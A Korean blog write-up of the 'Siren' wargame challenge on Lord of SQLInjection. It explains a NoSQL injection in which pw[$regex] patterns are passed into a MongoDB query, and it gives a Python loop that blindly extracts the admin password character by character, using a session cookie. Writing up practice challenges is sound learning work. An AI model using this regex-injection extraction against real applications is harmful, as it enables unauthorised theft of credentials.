[Lord of SQLInjection] Siren Write UP
작성자 - LRTK문제 코드
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
$query = array(
"id" => $_GET['id'],
"pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['id']) echo "<h2>Hello User</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['pw'] === $_GET['pw']) solve("siren");
highlight_file(__FILE__);
?>
공격 백터
- id
- pw
코드 분석
$db = mongodb_connect();
DB가 mongodb이므로 NoSQLi 문제로 보인다.
$query = array(
"id" => $_GET['id'],
"pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['id']) echo "<h2>Hello User</h2>";
공격 백터 id와 pw는 "id" => "공격 백터 id", "pw" => "공격 백터 pw"
에 들어가서 Json 형식으로 인코딩된다.
인코딩된 값은 {"id":"공격 백터 id", "pw":"공격 백터 pw"}
이며, MongoDB에 전달이 된다.
해당 쿼리의 id 반환값이 있다면 Hello User가 화면에 출력된다.
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_siren->find($query));
if($result['pw'] === $_GET['pw']) solve("siren");
이후 MongoDB에 저장된 admin의 pw와 공격 백터 pw가 같으면 문제가 클리어 된다.
문제 풀이
이번 문제는 admin의 pw를 정확하게 알아야 클리어 되는 문제이다.
SQLi의 경우 Substring 함수를 사용하여 알아낼 수 있다.
물론 MongoDB에서도 Substr와 같은 역할을 하는 $substr
이 있다. 하지만 위 코드에서 사용하기가 힘들다.
그래서 사용되는 것이 $regex
를 사용하여 정규표현식으로 pw을 파싱하는 것이다.
나는 Mongo playground에서 몇 가지 테스트를 하였다.
이와 같이 id:"admin", pw:{"$regex":".{4}"}
로 admin의 pw 길이가 4자리인 것을 알 수 있다.
만약 틀리다면 위와 같이 결과가 안 뜨는 것을 알 수 있다.
또한 길이를 줄이고, 앞에 문자를 넣으면 해당 자리의 문자를 비교하게 된다.
이처럼 틀리게 되면 아무 결과를 얻을 수 없다.
테스트를 한 2가지를 이용하여 admin의 pw를 파싱하겠다.
1부터 시작하여 9까지 시도한 결과 9번째에서 Hello User가 출력됐다.
즉, admin의 pw 길이는 8이라는 것을 알 수 있다.
이제 파이썬으로 pw 파싱을 하겠다.
from SQLI import SQLI
import string
url = 'https://los.rubiya.kr/chall/siren_9e402fc1bc38574071d8369c2c3819ba.php?'
cookie = 'nojp5m1iml5171g1bu9opu030q'
sqli = SQLI(url, cookie)
pw = ''
for num in range(7, 0-1, -1):
for s in string.ascii_letters + string.digits:
query = f'id=admin&pw[$regex]={pw + s}.' + '{' + str(num) + '}'
result = sqli.pw_parsing(query)
if 'Hello User' in result:
pw += s
print(f'{num} pw >>>', pw)
break
print('admin의 pw >>>', pw)
간단하게 파싱하였다.
파이썬으로 얻은 값을 서버로 보내면 문제가 클리어된다.
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Incubus Write UP (0) | 2021.09.23 |
---|---|
[Lord of SQLInjection] Cerberus Write UP (0) | 2021.09.22 |
[Lord of SQLInjection] Kraken Write UP (0) | 2021.09.21 |
[Lord of SQLInjection] Mummy Write UP (0) | 2021.09.20 |
[Lord of SQLInjection] Yeti Write UP (0) | 2021.09.19 |